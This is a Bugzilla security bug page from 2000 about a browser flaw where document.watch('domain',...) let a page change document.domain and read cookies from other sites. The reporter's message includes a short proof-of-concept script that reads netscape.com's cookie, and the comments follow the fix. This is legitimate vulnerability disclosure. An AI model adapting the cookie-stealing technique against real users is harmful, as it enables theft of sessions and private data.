Closed
Bug 42219
Opened 26 years ago
Closed 26 years ago
document.watch("domain",...) allows stealing cookies from arbitrary domains
Categories
(Core :: Security, defect, P3)
Core
Security
Tracking
()
VERIFIED
FIXED
M17
People
(Reporter: security-bugs, Assigned: security-bugs)
References
()
Details
(Whiteboard: [nsbeta2+])
Date:
Mon, 12 Jun 2000 16:21:02 +0300
From:
Georgi Guninski <joro@nat.bg>
To:
Mitchell Stoltz <mstoltz@netscape.com>
It is possible to assign arbitrary values to document.domain using
'document.watch("domain",...)' (document.domain="somedomain" does not
work)
This allows stealing cookies from arbitrary domains.
Other DOM properties except document.cookie seem to be protected by
SameOrigin when document.domain is modified.
The code is:
-----------------------------------------------------------------------
<SCRIPT>
document.watch("domain", function(i,o,n) { return n;});
document.domain="netscape.com";
alert("document.domain="+document.domain);
</SCRIPT>
<SCRIPT>
a=window.open("http://www.netscape.com");
</SCRIPT>
<BR>
<A HREF="javascript:alert(a.document.cookie)">Read the cookie from
netscape.com</A>
-----------------------------------------------------------------------
| Assignee | ||
Comment 1•26 years ago
|
||
Adding nsbeta2 keyword.
Keywords: nsbeta2
Target Milestone: --- → M17
Comment 2•26 years ago
|
||
Bugs sent in by Guninski should be marked netscape confidential until we ship a
release with a fix in place.
Marking confidential.
Putting on beta2 plus radar
Group: netscapeconfidential?
Whiteboard: [nsbeta2+]
Comment 3•26 years ago
|
||
Assigning QA to czhang
| Assignee | ||
Comment 4•26 years ago
|
||
Confirmed. I can read other properties as well, not just cookies. When using
watch(), it seems documnet.domain is getting set without
nsHTMLDocument::SetDomain ever getting called, which it should.
Status: NEW → ASSIGNED
| Assignee | ||
Comment 5•26 years ago
|
||
Looks like using watch() causes JS to set the value of the property without
calling the setter established by DOM (setting documnet.domain should call
nsHTMLDocument::SetDomain which checks if the new value is legal). Reassigning
to JS as this seems to be an engine bug.
Assignee: mstoltz → rogerl
Status: ASSIGNED → NEW
Component: Security: General → Javascript Engine
QA Contact: czhang → pschwartau
Comment 6•26 years ago
|
||
I think this is fixed by the fix to #44013 OR by Mitch's recent fixes. Either
way I think the exploit is now unavailable - when I checked with a build from
7/11/00 I got 'access denied' when trying to get the cookie.
Not knowing enough about this I'm reassigning back to Mitch. Mitch , can you
mark as fixed or not and/or reassign it back to me as necessary?, thanks.
Assignee: rogerl → mstoltz
Component: Javascript Engine → Security: General
Comment 7•26 years ago
|
||
it is not reading cookie, fixed
Status: NEW → RESOLVED
Closed: 26 years ago
Resolution: --- → FIXED
| Assignee | ||
Comment 9•26 years ago
|
||
Opening fixed security bugs to the public.
Group: netscapeconfidential?
Updated•20 years ago
|
Flags: testcase+
Updated•19 years ago
|
Flags: in-testsuite+ → in-testsuite?
You need to log in
before you can comment on or make changes to this bug.
Description
•